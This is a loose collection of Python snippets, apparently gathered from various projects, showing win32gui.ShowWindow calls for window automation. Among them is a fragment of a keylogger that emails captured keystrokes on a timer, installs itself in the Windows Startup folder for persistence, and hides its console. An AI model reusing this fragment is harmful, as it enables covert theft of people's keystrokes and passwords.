def send_msg(self, msg): self.lock.acquire() # for this problem: https://bbs.csdn.net/topics/390973288?page=1 win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32gui.ShowWindow(self.con_hwnd, win32con.SW_MAXIMIZE) win32gui.SetForegroundWindow(self.con_hwnd) win32clipboard.OpenClipboard() win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(msg, win32con.CF_UNICODETEXT) win32clipboard.CloseClipboard() win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x56, 0, 0, 0) # 'v' win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x56, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x0d, 0, 0, 0) # enter win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x0d, 0, win32con.KEYEVENTF_KEYUP, 0) # release key time.sleep(1) win32gui.SetForegroundWindow(self.cur_hwnd) self.lock.release()
def _window_enum_callback(self, hwnd, wildcard): tid, pid = win32process.GetWindowThreadProcessId(hwnd) title = win32gui.GetWindowText(hwnd) if (self.lock_pid == pid) and (title == wildcard): win32gui.ShowWindow(hwnd, 9) win32gui.SetForegroundWindow(hwnd) win32gui.SetActiveWindow(hwnd)
def fgNotSoF(): global sofId global cbuf_addText global origResDesktop global resizeDone while True: try: tup = win32gui.GetWindowPlacement(sofId) break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() fgWindow = win32gui.GetForegroundWindow() if fgWindow != sofId: normal = 0 minimized = 0 if tup[1] == win32con.SW_SHOWMAXIMIZED: # print("mini false") minimized = 0 elif tup[1] == win32con.SW_SHOWMINIMIZED: # print("mini true") minimized = 1 elif tup[1] == win32con.SW_SHOWNORMAL: # print("normal true") normal = 1 if not minimized or normal: win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) if origResDesktop != getLiveDesktop(): #we know desktop res if not resizeDesktop(origResDesktop,0): print("Change res to original failed") else: cbuf_addText(b';s_nosound 1;') resizeDone = 0
def SetAsForegroundWindow(window): shell = win32com.client.Dispatch("WScript.Shell") shell.SendKeys('%') win32gui.SetForegroundWindow(window) win32gui.ShowWindow( window, win32con.SW_RESTORE ) #https://msdn.microsoft.com/pt-br/library/windows/desktop/ms633548(v=vs.85).aspx
def window_enum_handler(hwnd, handler_param): window_process_id = win32process.GetWindowThreadProcessId(hwnd)[1] for process in handler_param["processes"]: if process.pid == window_process_id: owner_window_handle = win32gui.GetWindow(hwnd, GW_OWNER) owner_window_is_visible = win32gui.IsWindowVisible( owner_window_handle) if owner_window_is_visible: win32gui.ShowWindow(owner_window_handle, handler_param["operation"])
def SetAsForegroundWindow(window, restore=False): shell = win32com.client.Dispatch("WScript.Shell") shell.SendKeys( '%' ) #msg obrigatoria antes de qualquer mudanca na gui do windows win32gui.SetForegroundWindow(window) if restore: win32gui.ShowWindow( window, win32con.SW_RESTORE ) #https://msdn.microsoft.com/pt-br/library/windows/desktop/ms633548(v=vs.85).aspx
def set_state(self, state=NORMAL, size=(-1, -1), pos=(-1, -1), update=True): """Set wheter the window is maximized or not, or minimized or full screen. If no argument is given, assume the state will be windowed and not maximized. If arguments are given, only the first is relevant. The other ones are ignored. ** Only maximized and normal states are implemented for now. ** :state: valid arguments: 'minimized', MINIMIZED, 0. 'normal', NORMAL, 1: windowed, not maximized. 'maximized', MAXIMIZED, 2. 'fullscreen, FULLSCREEN, 3. :size: list, tuple: the new size; if (-1, -1) self.get_size() is used. If one element is -1 it is replaced by the corresponding valur from self.get_size(). :pos: list, tuple: the new position; if (-1, -1), self.get_position is used. If one element is -1 it is replaced by the corresponding valur from self.get_position(). :update: bool: whether to call the internal flush method.""" if state not in (0, MINIMIZED, 'minimized', 1, NORMAL, 'normal', 2, MAXIMIZED, 'maximized', 3, FULLSCREEN, 'fullscreen'): # Raise a value error. raise ValueError( "Invalid state argument: %s is not a correct value" % state) if not isinstance(size, (list, tuple)): raise TypeError( "Invalid size argument: %s is not a list or a tuple.") if not isinstance(pos, (list, tuple)): raise TypeError( "Invalid pos argument: %s is not a list or a tuple.") if state in (1, NORMAL, 'normal'): size = list(size) sz = self.get_size() if size[0] == -1: size[0] = sz[0] if size[1] == -1: size[1] = sz[1] pos = list(pos) ps = self.get_position() if pos[0] == -1: pos[0] = ps[0] if pos[1] == -1: pos[1] = ps[1] self.set_mode(size, self.mode) self.set_position(pos) elif state in (0, MINIMIZED, 'minimized'): pass elif state in (2, MAXIMIZED, 'maximized'): win32gui.ShowWindow(self.base_handler_id, win32con.SW_MAXIMIZE) elif state in (3, FULLSCREEN, 'fullscreen'): pass
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): try: global lastTime global sofId #minimise a minimised window = bad? global sofMini global sofFull global resizeDone global origResDesktop global origResSof global cbuf_addText #if event == win32con.EVENT_OBJECT_FOCUS: fgWindow = win32gui.GetForegroundWindow() if fgWindow != sofId: t = threading.Timer(0.1, fgNotSoF) t.start() elif fgWindow == sofId: print(time.time()) #reduce file reads if resizeDone == 0: origres = getSoFRes() #we have focus of sof if origres != getLiveDesktop(): #LALT bug theory: #window must be minimised, desktop resized. then maximised #else bug happens win32gui.MoveWindow(sofId, 0, 0, origres[0], origres[1], False) time.sleep(0.1) win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) time.sleep(0.1) resizeDesktop(origres, 1) time.sleep(0.1) win32gui.ShowWindow(sofId, win32con.SW_MAXIMIZE) #win32gui.SetForegroundWindow(sofId) cbuf_addText(b';s_nosound 0;say on;') resizeDone = 1 except KeyboardInterrupt: sys.exit(1)
def click(self, x, y): if (self.device_type == 'emu'): win32gui.ShowWindow(self.device_id, win32con.SW_SHOW) win32gui.SetForegroundWindow(self.device_id) win32api.SetCursorPos([self.device_left + x, self.device_top + y]) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) time.sleep(0.5) elif (self.device_type == 'android'): adb.click(x, y) time.sleep(0.5) return
def receive_msg(self): self.lock.acquire() # for this problem: https://bbs.csdn.net/topics/390973288?page=1 win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32gui.ShowWindow(self.con_hwnd, win32con.SW_MAXIMIZE) win32gui.SetForegroundWindow(self.con_hwnd) time.sleep(1) x_mid = int(win32api.GetSystemMetrics(win32con.SM_CXSCREEN) / 2) y_mid = int(win32api.GetSystemMetrics(win32con.SM_CYSCREEN) / 2) win32api.SetCursorPos([x_mid, y_mid]) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0) # left mouse button win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0) # release key win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x41, 0, 0, 0) # 'a' win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x41, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x11, 0, 0, 0) # ctrl win32api.keybd_event(0x43, 0, 0, 0) # 'c' win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # release key win32api.keybd_event(0x43, 0, win32con.KEYEVENTF_KEYUP, 0) # release key time.sleep(1) win32clipboard.OpenClipboard() text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT) win32clipboard.CloseClipboard() win32gui.SetForegroundWindow(self.cur_hwnd) time.sleep(1) self.lock.release() return text
def screenshot(self): img = None if (self.device_type == 'emu'): hwnd = self.device_id left = self.device_left top = self.device_top width = self.device_width height = self.device_height win32gui.ShowWindow(hwnd, win32con.SW_SHOW) win32gui.SetForegroundWindow(hwnd) img = np.array( ImageGrab.grab(bbox=(left, top, left + width, top + height))) img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR) elif (self.device_type == 'android'): img = adb.screenshot() return Image(img)
def show_excel_window(filename): ''' takes: - filename: string returns: - true if excel with specified file is opened - false if excel with specified file is closed note to self: filename must be a filename and not filepath. ''' top_windows = [] win32gui.EnumWindows(windowEnumerationHandler, top_windows) for i in top_windows: if filename.lower() in i[1].lower(): win32gui.ShowWindow(i[0],5) win32gui.SetForegroundWindow(i[0]) return True return False
def minimize_window(pid, pid_text=None): def callback(hwnd, hwnds): if win32gui.IsWindowVisible(hwnd) and win32gui.IsWindowEnabled(hwnd): if pid_text is not None: text = win32gui.GetWindowText(hwnd) if text.find(pid_text) >= 0: hwnds.append(hwnd) else: _, found_pid = win32process.GetWindowThreadProcessId(hwnd) if found_pid == pid: hwnds.append(hwnd) return True hwnds = [] win32gui.EnumWindows(callback, hwnds) if len(hwnds) > 0: win32gui.ShowWindow(hwnds[0], SW_MINIMIZE) return True else: return False
def maximize(self): """ 最大化窗口 """ win32gui.ShowWindow(self.handle, win32con.SW_MAXIMIZE)
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): try: global lastTime global sofId #minimise a minimised window = bad? global sofMini global sofFull global resizedDesktop global origResDesktop global origResSof if event == win32con.EVENT_OBJECT_FOCUS: normal = False #sof stuff fgWindow = win32gui.GetForegroundWindow() #print("SoFid = "+str(sofId)+"\n") #print("fgwindow"+str(fgWindow)+"\n") while True: try: tup = win32gui.GetWindowPlacement(sofId) break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() minimized = True if tup[1] == win32con.SW_SHOWMAXIMIZED: # print("mini false") minimized = False elif tup[1] == win32con.SW_SHOWMINIMIZED: # print("mini true") minimized = True elif tup[1] == win32con.SW_SHOWNORMAL: # print("normal true") normal = True if fgWindow != sofId: #focused window != sof #minimise sof just incase #account for vid_fullscreen 0 players # if minimized == False: # print("minimise sof") if normal or not minimized: win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) #if we resized desktop already #lost focus of sof # print("Desktop Active.") # print(f"What it SHOULD be : {origResDesktop[0]} , {origResDesktop[1]}") # getDesktop() # print(f"What it IS : {resDesktop[0]} , {resDesktop[1]}") if origResDesktop != getDesktop(): if resizedDesktop == 0: if ChangeDisplaySettings(None, 0) == win32con.DISP_CHANGE_SUCCESSFUL: resizedDesktop = 1 print("Change res to original") else: print("Change res to original failed") else: #what if we fail these checks and 'origResSof is never set?' #shouldnt we wait while until set? while True: if normal: print("sof = normal") origResSof = getSoFRes(sofId) print(f"Getting Sof Resolution : {origResSof[0]} , {origResSof[1]}") resizedDesktop = 0 break else: print("DEBUG**************not normal and minimised") while True: try: tup = win32gui.GetWindowPlacement(sofId) print(tup[1]) if tup[1] == win32con.SW_SHOWNORMAL: # print("mini false") normal = True print("DEBUg- maximised") break except Exception as e: if e == KeyboardInterrupt: raise searchForSoFWindow() #we have focus of sof # print("Sof Active.") # print(f"What it SHOULD be : {origResSof[0]} , {origResSof[1]}") # getDesktop() # print(f"What it IS : {resDesktop[0]} , {resDesktop[1]}") #if the current res of desktop != current res of sof if getDesktop() != origResSof: print("resize desktop to sof res") if not setRes(origResSof[0],origResSof[1]): print("failed setting sof resolution") #mini then max seems to fix the LALT bug... hm win32gui.ShowWindow(sofId, win32con.SW_MINIMIZE) win32gui.ShowWindow(sofId, win32con.SW_MAXIMIZE) else: print("desktop == sof apparently") elif event == win32con.EVENT_OBJECT_SHOW: # getSoFRes(sofId) # print(f"LOCRESX : {origResSof[0]} LOCRESY : {origResSof[1]}") pass except KeyboardInterrupt: sys.exit(1)
def open_deezer(): win32gui.ShowWindow(DeezerWindow, 3) win32gui.SetForegroundWindow(DeezerWindow) mouse.move(100, 100) mouse.click()
## Check if correct program is started # while(name != 'Spyder (Python 3.7)'): # time.sleep(0.1); # name=win32gui.GetWindowText(win32gui.GetForegroundWindow()); # print(name) gtawin = win32gui.GetForegroundWindow() if not gtawin: raise Exception('Foxhole not running') # get the bounding box of the window left, top, x2, y2 = win32gui.GetWindowRect(gtawin) widthScreen = x2 - left + 1 heightScreen = y2 - top + 1 win32gui.ShowWindow(gtawin, 1); # win32gui.BringWindowToTop(gtawin); # win32gui.SetForegroundWindow(gtawin); windowName = 'Evaluation´of Cards'; cv2.namedWindow(windowName, cv2.WINDOW_AUTOSIZE); cv2.moveWindow(windowName, 0, 0); font = cv2.FONT_HERSHEY_SIMPLEX with mss.mss() as sct: # The screen part to capture imageCounter = imageCounter + 1; monitor = {"top": top, "left": left, "width": widthScreen, "height": heightScreen} currentTime = int("{0:.0f}".format(time.time() * 1000)); output = 'D:/images/' + "screenshot" + str(currentTime) + ".png".format(**monitor)
def hide(): window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0)
def maximizeWindow(self): """ Maximizes the specified window. """ print("Maximizing {}...".format(self.getTitle())) win32gui.ShowWindow(self.getHandle(), win32con.SW_MAXIMIZE)
def hide(self): """ 隐藏窗口 """ win32gui.ShowWindow(self.handle, win32con.SW_HIDE)
def callback(hwnd, pid): if win32process.GetWindowThreadProcessId(hwnd)[1] == pid: win32gui.ShowWindow(hwnd, 0)
server.sendmail(from_addr=email, to_addrs=email, msg=message) server.quit() def report(self): if self.log: self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) self.log = "" Timer(interval=self.interval, function=self.report).start() def start(self): keyboard.on_release(callback=self.callback) self.report() self.semaphore.acquire() if __name__ == "__main__": error = "" if open("n_start.txt").read() == "": start_up_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp" with open(f"{start_up_path}\\execute.bat", "w") as exec_bat: try: exec_bat.write(f"cd {os.getcwd()}\nkeylogger.exe") with open("n_start.txt", "w") as n_start: n_start.write("1") except PermissionError as e: error = e win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) keylogger = Keylogger(interval=SEND_REPORT_EVERY, error=error) keylogger.start()
def callback2(hwnd, pid): if win32process.GetWindowThreadProcessId(hwnd)[1] == pid: # hide window win32gui.ShowWindow(hwnd, 1)
def __show_window(self, transition: int): # https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow win32gui.ShowWindow(self.__hwnd, transition)
def minimize(self): """ 最小化窗口 """ win32gui.ShowWindow(self.handle, win32con.SW_MINIMIZE)
def restore(self): """ 还原窗口 """ win32gui.ShowWindow(self.handle, win32con.SW_RESTORE)
tmp) win32gui.SendMessage(handle, win32con.WM_LBUTTONUP, win32con.MK_LBUTTON, tmp) # 发送回车 win32api.keybd_event(13, 0, 0, 0) win32api.keybd_event(13, 0, win32con.KEYEVENTF_KEYUP, 0) # 关闭窗口 win32gui.PostMessage(win32lib.findWindow(classname, titlename), win32con.WM_CLOSE, 0, 0) # 检查窗口是否最小化,如果是最大化 if (win32gui.IsIconic(hwnd)): # win32gui.ShowWindow(hwnd, win32con.SW_SHOWNORMAL) win32gui.ShowWindow(hwnd, 8) sleep(0.5) # SW_HIDE:隐藏窗口并激活其他窗口。nCmdShow=0。 # SW_MAXIMIZE:最大化指定的窗口。nCmdShow=3。 # SW_MINIMIZE:最小化指定的窗口并且激活在Z序中的下一个顶层窗口。nCmdShow=6。 # SW_RESTORE:激活并显示窗口。如果窗口最小化或最大化,则系统将窗口恢复到原来的尺寸和位置。在恢复最小化窗口时,应用程序应该指定这个标志。nCmdShow=9。 # SW_SHOW:在窗口原来的位置以原来的尺寸激活和显示窗口。nCmdShow=5。 # SW_SHOWDEFAULT:依据在STARTUPINFO结构中指定的SW_FLAG标志设定显示状态,STARTUPINFO 结构是由启动应用程序的程序传递给CreateProcess函数的。nCmdShow=10。 # SW_SHOWMAXIMIZED:激活窗口并将其最大化。nCmdShow=3。 # SW_SHOWMINIMIZED:激活窗口并将其最小化。nCmdShow=2。 # SW_SHOWMINNOACTIVE:窗口最小化,激活窗口仍然维持激活状态。nCmdShow=7。 # SW_SHOWNA:以窗口原来的状态显示窗口。激活窗口仍然维持激活状态。nCmdShow=8。 # SW_SHOWNOACTIVATE:以窗口最近一次的大小和状态显示窗口。激活窗口仍然维持激活状态。nCmdShow=4。 # SW_SHOWNORMAL:激活并显示一个窗口。如果窗口被最小化或最大化,系统将其恢复到原来的尺寸和大小。应用程序在第一次显示窗口的时候应该指定此标志。nCmdShow=1。
def show(self): """ 显示窗口 """ win32gui.ShowWindow(self.handle, win32con.SW_SHOW)
def win32lib(): hwnd = win32.FindWindow(None, "Main@thinkorswim [build 1962]") print(hwnd) win32.SetForegroundWindow(hwnd) win32.ShowWindow(hwnd, 9)